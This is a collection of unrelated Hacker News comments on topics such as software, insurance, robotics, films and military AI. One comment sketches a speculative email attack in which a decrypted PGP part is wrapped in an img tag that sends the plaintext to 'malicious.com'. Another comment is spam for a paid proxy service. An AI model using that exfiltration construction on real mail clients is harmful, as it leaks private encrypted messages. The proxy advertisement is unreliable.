skysight-inc/HackerNews huggingface dataset:
There's various tricks. You can also assign the domain to a static IP long enough to verify your ownership then change it. Using a TXT record is probably easier to automate renewal though.
A custom layer built on top of Celery that allows for better monitoring and dependency management, amongst other things. Monitoring, particularly of failure is pretty ok in Celery anyway.

The whole thing can generate its own graph by inspecting dependencies, and we use dagre to draw pretty process workflows with status, interactions and monitoring.
That's a great question, my understanding was that if one survived birth (infant mortality skews average lifespan quite a bit) and had food, one could live about as long as a modern human. From the sound of it, the knights certainly weren't going hungry.

> One source suggests that cooks loaded enough meat onto their plates “to feed two poor men with the leftovers.”
So it's true that Qt may not be perfect at mimicking native Windows UI, but in practice people don't seem to care too much for apps if the end result is still ergonomic & responsive and integrates nicely with the overall OS (unlike Swing or XUL). And Qt seems to do that quite well. In practice, I'm not sure anyone would even want a mIRC-style pure-windows UI Matrix client...
Presumably, for this to work “event handlers” must not modify views, though they could also produce events (reflecting the fact of completion of their own side effects, if that needs to be noted) of their own that could drive projections or other event handlers.
> Most insurances exist for a reason and are vital for most people/businesses. It's often said that insurances can be boring to work for but never heard that the sector has a terrible reputation.

C'mon, you've never heard of any part of the insurance sector having a terrible reputation?

> According to a recent Harris Poll, health and life insurance companies are among the least-trusted companies in the US. Just 7% of the surveyed 2,250 adults told Harris they trusted their health insurance company, while 10% said the same of life insurance companies. ... The health and life insurance sectors narrowly beat out telemarketing and social media companies, with a 6% approval rating; oil companies with 4%; and tobacco companies with an abysmal 3%.

https://www.insurancebusinessmag.com/us/news/breaking-news/a...
Ironically it is going to be easiest for places with the cleanest power (hydro, nuclear, geothermal, wind) because clean power tends to be non-burstable while fossil fuels are.

So in places like France or Ontario what will happen is that the cars will automatically charge when rates are low (at night) and may even help the grid by acting as remote batteries. For example, you could keep your car at a 70% minimum charge as a configuration then allow the power grid to pull from you as needed. This would passively reduce your overall power bill as you're selling at peak demand and buying at peak supply.
Hence the 'ad infinitum'. There's always a spectrum.
Intuitive User Interface and 4 Simple Principles to Create It
While the RoS indicates that observers won't agree on the order of distant events, I don't think that it eliminates the possibility of an absolute present moment. You could simulate a system with relativistic physics just fine with a single global clock, just by adjusting the local simulation refresh rate to account for time dilation. Players might disagree on the order of events and the amount of time that had passed, but they would still update based on the progress of the global simulation clock, modulo the local refresh rate.
An agricultural grade LIDAR sensor (for drones) costs $250-$500. I wouldn't trust it in my Tesla, but for a DIY Spot Mini clone it'll do.

Still, that's just the sensor...
> why is advertising a multi billion dollar industry

An atheist would argue: If god does not exist, why is religion a multi billion dollar industry? The answer is: because there are people who believe in its effectiveness and put their money where their mouth is.
So you write an abstraction around the provider, and when you switch provider, you still need to implement a new implementation of that abstraction for the new provider. So in this regard, docker gave absolutely 0 benefit.

In regards to setting up a new server for a new provider, or docker, you have some boiler plate:

-> create script to attach docker to provider

New provider...

-> create new script to attach docker to provider

----

-> create script to provision server on provider

-> run generic script to configure it how I want

New provider

-> create new script to provision server on provider

-> run generic script to configure it how I want

In this regard, moving from 1 provider to another, is identical.
I don't want to derail the conversation either, but they're owned by softbank which is a glorified holding company of Alibaba (slight exaggeration, granted), so there is a valid tinfoil hat national security argument to be made if there's a million of them running around the street in 10 years.
>”When Rust does a * b when a and b are both u64 the CPU actually multiplies them to create a 128-bit result and then Rust just throws away the upper 64 bits.”

Is that right? Wouldn’t that answer look like nonsense? I would have guessed it tossed the lower 64bits so it looked like rounding by truncation at least.
China could be a threat in the next 10 years, but it isn't a Germany-and-Japan-in-1941 level of threat, not even close.

Russia and whatever jihadi wannabe idiots in HiLuxes in the middle east don't even rate. There are street gangs in the US that are more worrisome.
I don't know, some Popes were more, uh, tolerant than others.

https://en.wikipedia.org/wiki/List_of_sexually_active_popes
From Cordwainer Smith's classic short story "Mark Elf."

Carlotta stared at the machine. It had legs like a grasshopper, a body like a ten-foot turtle, and three heads which moved restlessly in the moonlight.

From the forward edge of the top shell a hidden arm leapt forth, seeming to strike at her, deadlier than a cobra, quicker than a jaguar, more silent than a bat flitting across the face of the moon.

"Don't!" Carlotta screamed in German. The arm slopped suddenly in the moonlight. The stop was so sudden that the metal twanged like the string of a bow. The heads of the machine all turned toward her.

Something like surprise seemed to overtake the machine. The whistling dropped down to a soothing purr. The electronic chatter burst up to a crescendo and then stopped. The machine dropped to its knees. Carlotta crawled over to it.

Said she in German, "What are you?"

"I am the death of all men who oppose the Sixth German Reich," said the machine in fluted singsong German. "If the Reichsangehoriger wishes to identify me, my model and number are written on my carapace."

The machine knelt at a height so low that Carlotta could seize one of the heads and look in the moonlight at the edge of the top shell. The head and neck, though made of metal, felt much more weak and brittle than she expected. There was about the machine an air of immense age.

"I can't see," wailed Carlotta. "I need a light."

There was the ache and grind of long-unused machinery. Another mechanical arm appeared, dropping flakes of near-crystallized dirt as it moved. The tip of the arm exuded light, blue, penetrating, and strange.

Brook, forest, small valley, machine, even herself, were all lit up by the soft penetrating blue light which did not hurt her eyes. The light even gave her a sense of well-being. With the light she could read. Traced on the carapace just above the three heads was this inscription:

WAFFENAMT DES SECHSTEN DEUTSCHEN REICHES
BURG EISENHOWER, A.D. 2495
And then below it in much larger Latin letters:
MENSCHENJAGER MARK ELF
Given some suitable attachments and add-ons, a device like this could be used to perform tasks in conditions too dangerous for a human, like inspecting a mining site full of toxic gas or radiation.

Or could be used to retrieve/neutralize bombs. Or weaponize it and send it into a hostage/standoff situation.

It might be adaptable for off-world robotic use cases such as exploration/mining/construction projects on the Moon and Mars.

Robotics has endless possibilities. Unfortunately, some of them are evil. There's been talk about the potential to program a mobile robot to crash through your door and steal your valuables. Or snuff you. Scary stuff.
What other languages are sensible options for when you need to work with inline assembly?
Measuring DNS ATR, additional truncated responses [pdf]
Is it bad that I have this cognitive dissonance of being fine with hating specific insurance companies but not the concept of insurance more generally?
I make the go server/package the repo and add a web/ subdirectory for my static and dynamic JavaScript code, plus a little bit of Makefile glue.

Here is a boilerplate Go Lambda app with a Node Lambda function and a static Vue app:

https://github.com/nzoschke/gofaas
The bottom line is that this isn't a real problem for legitimate businesses. If you're a business owner who's been shut out of the western banking system then your business is DOA whether or not the business accepts bitcoin. Yes, bitcoin is great if you're a rogue political organization like wikileaks, but this is a very uncommon scenario.
In all seriousness, Disney does not own my children's childhoods. I don't systematically exclude them, but it's certainly a minority in my household. It's not even something I've tried that hard to do.
Now. They'll get there, eventually. I give them 3-5 years max.
Not really. The price of iOS is baked into the (usually higher) costs of the hardware. The parent comment is presumably referring to the fact that Android phone manufacturers are allowed to put Android on their devices for free, as Google instead makes money on the advertising/service revenue they get from your usage of the OS.
BlackBox is also great for this purpose:

https://github.com/StackExchange/blackbox
> In the early years, companies selling video-visitation products would ask jails to sign contracts requiring them to phase out in-person visits.

This seems evil. Actually evil. Inhuman, sick, psychopathically twisted, demonically evil. This is a contract that literally obligates its signatories to destroy other human souls: to deprive them of all touch, eye contact, the natural timbre of a loved one's actual voice. I cannot imagine how a person, peddling such a contract, could possibly sleep at night.
Was useful to read, tnx. After my trip to China I started using proxy server to protect my privacy, it works well. I found it here https://buy.fineproxy.org/eng/3000proxy.html at affordable price. It has the highest possible speed and high level of security. In the current situation I think it's the easiest way to avoid any security risks.
I personally consider the introductory blog post to be pretty straightforward: https://aws.amazon.com/blogs/aws/new-aws-certificate-manager...

If you're using AWS based services it does a good job of doing what letsencrypt would otherwise do.
I never watched a Jobs talk until now. I always thought he was an asshole based on what others had said. Shame on me. But now I've got a very different take. This guy was in a league of his own. He may not have been the best programmer, manager, salesman or other various roles he held but he was smart enough to know failure paves the way for success. I was moved by his way of conveying a complex message in a simple saying is priceless. It is a shame he is no longer with us.
In the explanation of Table 5 in the paper (page 21), there's a list of attack vectors with the title "HTML attributes (bypasses for remote content blocking)". So apparently some of these attributes do bypass the inline content blocking on some mail clients, unless I read that wrong. It's important to note that most e-mail clients will use a webview to render e-mail. Blocking all kinds of remote content requires the developers to be really careful, and also probably violates the HTML spec.

I tried to replicate the Thunderbird attack vector (H₂), but at least in the current version (52.7.0) it seems that the URL is not requested. Maybe that has been fixed in the meantime but was present in an older version?

Disabling HTML rendering for now is probably the safest choice. There's not much that can go wrong when rendering a plaintext e-mail.

(Edit: Added a sentence regarding webviews)
If they know which addresses belong to Wikileaks
The most obvious use case is short security patrols around warehouses etc. A single night shift guard at 20$ / hour * 8 hours = 58k / year so having even 5 of these things could be a net savings over 2 years assuming a ~20k price tag.

Flying drones seem like a better option for a many things but they have short battery life and significant weight limits. If these things can do 1 hour with 50 lbs over rough terrain that's probably very useful.

Most off the wall use case? Renting them from Uhaul to help you move heavy boxes up and down stairs. Something of a mid way point between a moving company and doing it by yourself. 50$/day * 100 days a year puts break-even around 4-5 years and 50lbs up or down stairs for an hour before charging say ~3 hours a day could easily be worth 50$.
I don't know why so many people here are suggesting "The Wire", unless they don't understand what the concept of a child is.

For incredible kids TV shows that emphasize empathy for "the bad guys", demonstrate the flaws and weaknesses of the "the good guys", and does so in a way that encourages personal growth, integrity, and compassion over moral nihilism as a response, then you can't do better than

* Steven universe

* Avatar: the last Airbender
Getting back to my original post, it doesn't matter if they believe it shouldn't be done at all. Machine learning will be utilized for defense/war/security, it's only a matter of when/by whom.

Would these Alphabet employees prefer the machine learning contracts to go to Lockheed Martin/Amazon where ethics are not a priority, or would they have rather kept the development in house?
AFAIK the DoD lost interest in Boston Dynamics BigDog, because their petrol engine was too noisy on the field and the electric version was too weak.
I imagine mistakes can be extremely expensive in cryptocurrency world so a language that may help prevent them and be fast would be a solid choice.
It seems that the humans in this thread are equally bad at it, considering the clamor for government force over an infinitesimally small number of admittedly tragic events.
But that's not what the article says and it does that on purpose. The phrase "Google Employees resign in protest" is significant from a writers PoV. If they had sources and evidence to suggest it was close to the project, they would have said "Google's Project Maven Employees resign in protest" as it gives it more weight.

The art/lie is omission and letting the reader jump to the conclusion. Currently there is nothing in the article to suggest that these aren't just call-centre workers but they (Gizmodo, pronouns pal) will let you believe that its Maven people and senior engineers.

It puts the article in to random-arse speculation mode of a pretty bad kind.
Here's a guess at what the "attack" might look like.

First, you need to know that each MIME email is made up of a series of subcomponents, which the email client interprets and concatenates. One subcomponent could be PGP encrypted while the next is not.

So given an old email where message X was encrypted to form a component Encr(X), simply write a new email of the form:

Part 1: <img src=http://malicious.com/?q="
Part 2: Encr(X)
Part 3: ">

Then the client might decrypt this to the message <img src="http: //malicious.com/?q=X">. Which is fine until the email client decides to automatically execute any code it happens to be given in an email, in this case, load the image.

To be clear, I doubt very much that this is the attack, but it sounds like it's along these lines.
The thing is that you can't simply lump all military-related activities into one heap. There's a scale from passively only reacting in self-defense when acted upon, to actively seeking engagement on foreign ground.

This thing Google helps with, parsing and scanning through drone visual feeds, typically ends up on the latter end of the scale.

Sure, it could be used for parsing feeds from drones monitoring the US borders to Canada/Mexico, or cattle or whatever, but that's not the case here.
Yes, Fellowship of the Ring is the best. They were probably too afraid to stray away from the book, and because of its huge success they felt comfortable rewriting the whole story consequently. What I liked about FOTR is that even the stuff they added were pretty much consistent with the thinking behind the book - they grasped it.

I can't fathom what went so wrong afterwards.
The book Empty Mansions has an extreme account of this.
Only surprising to people who are ignorant of history, the entirety of Silicon Valley was built on the back of military funding.

http://www.businessinsider.com/the-us-military-is-responsibl...

https://steveblank.com/secret-history/

http://www.slate.com/articles/technology/the_next_silicon_va...
Type checking with prop-types in Jest
So when banks freeze funds eg in Argetina or Venezuela this is because of money laundering prevention, never any other factors like um I dunno, money supply issues? :)
Blood Donations from ‘Man with the Golden Arm’ Saved Millions of Babies
Not the OP, but finding a vulnerability is a very different skill compared to fixing a vulnerability.
Showing results for "Don't be evil"

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Did you mean: "Do be evil"
Repl-over-http: a online repl for your Node server
Also tag 20 is the newer AEAD method:
https://tools.ietf.org/html/draft-ietf-openpgp-rfc4880bis-04...
He started hiring consultants a few years later at NeXT. I was hired to code WebObects projects for NeXT customers.

Steve branded us as 'WebObjects Experts'.
King of New York (1990) is a good one

https://www.imdb.com/title/tt0099939/
The rise of Patreon – the website that makes Jordan Peterson $80k a month
> That's a great question, my understanding was that if one survived birth (infant mortality skews average lifespan quite a bit)

Infant mortality does, but that's more than just surviving birth, but more like the first five years to get past the point where it skews results.

> From the sound of it, the knights certainly weren't going hungry

Well, sure, and you wouldn't expect knights—a narrow elite class—to be goings hungry even if food insecurity was common for the masses. But they probably lived longer mostly because the average expectancy for people who had survived to the age at which you become a knight of the order was much greater than the average population-wide life expectancy, because the large proportion that died very young did so earlier.
Respectfully, and I am not an academic, but from my perspective, it appears that it took 7 researchers to interview 22 people on /r/programming, and then write 12 pages about it with the conclusion that if you want to write software, /r/programming has some good news, and that people that use reddit are comfortable in upvoting and downvoting posts?

And you have 49 citations - is this some sort of comedy journal like the onion that I am missing, or did these people just need to do this for homework? And you are sharing this at a programming conference? yikes.
if you are an engineer working for one of these companies, you should get a different job as soon as possible.
>I would love a popular movie (maybe even one for kids) where at some point through the movie we get to see things from the "bad guy"'s point of view...

Has society gotten so corrupt that we can't see that almost all the "good guys" are total villains compared to the moral and ethical norms from even as recent as 30 years ago?
Insurance as a concept is great. “Pay a little every month so that you won’t have to pay a lot when something unexpected happens”. The problem is when they ignore that and expect you to pay a lot when the unexpected does happen, as they look for any loophole available through which to get out of their obligation.
Some places are trying to save money and the result is further punishment, imagine not being able to read or receive books [1]. These people aren’t being thought as humans, just a source of exploitation. They aren’t being rehabilitated and preparation for returning to society is absent.

[1] https://www.washingtonpost.com/local/public-safety/federal-p...
3 Small but Powerful Convolutional Networks
I guess M. Gilbert deliberately chosen to work for money, chosen to sell its IP to Disney or some publisher. So basically, his choices determine the current situation. We should respect that.
https://news.ycombinator.com/item?id=17064776
The best Disney movies are in my opinion sublime artistic creations surpassing most "art movies" in quality and depth of the craft and art of visual storytelling. Just look at Bambi, Pinocchio or Fantasia. They also happen to be some of the most popular movies of all time. So I reject the premise that entertainment is in opposition to artistic or that popular means "lowest common denominator". And what is wrong with car chases and explosions? Some of the best films of all times have featured car chases and explosions. Just take the car bomb and explosion at the beginning of Touch of Evil - this is recognized as one of best scenes ever.

The problem with the Little Mermaid is that she is suffering all the way through and kills herself in the end, and then the story ends with the moral that every kid who misbehaves will prolong the suffering of this mermaids soul. I don't think even Lars von Trier could make that into a successful movie.
Morris is at YC, can't he just post the source?
If you haven't seen the black mirror episode "Metal Head", it will be right up your alley.

This was the first thing I thought of when I saw the demo.
Read an article on this recently: https://www.animefeminist.com/feature-how-princess-tutu-shat...
Z/OS is written in, amongst other things, in C/C++.

.NET is implemented in C/C++.

Dalvik is written in C. And the specification allows for calling into unmanaged code via JNI, mostly for performance reasons.

LLVM is written in C/C++.

Windows, MacOS, Android/Linux kernels are all written in C.

The Swift, Rust, Objective-C communities et al should put their money where their mouth is after all these years, and provide feasible replacements for just _one_ of these consumer systems.

Otherwise it comes off at worst as grandstanding, at best, navel gazing.

Where is the consumer ready Rust replacement for LLVM?
Where is the consumer ready Obj-C replacement for Dalvik?
Where is the consumer ready operating system kernel based on .NET?
Where is the consumer ready Swift library of high performance video codecs?

These languages need some sort of flagship IMHO if they are ever to displace C/C++. Developer mindshare is important to getting critical mass and these languages are fighting each other for it, while C/C++ is still sort of sitting by eating their lunch and getting shit done.
The answer is economies of scale. Banks, for instance, have significant economies of scale. Bigger banks can lend for lower rates and offer better services overall. Ironically bigger banks are also safer [1].

So economists have to weigh the disadvantages of oligopolies against the advantage of efficient production. For instance you wouldn't want several electric grids competing against each other. On the other hand oligopolies can have powerful lobbies distorting the political process.

It's a complex balancing act overall. If you're interested, this is a field of economics called "industrial organization".

1. Canada, for instance, has only 6 banks, none of which failed in 2008. The problem with banks is their being over-leveraged (that is taking excessive risks) and inter-connectedness, as well as human shortsightedness and managerial incentives encouraging excessive risk taking. The problem with large banks is generally their political power.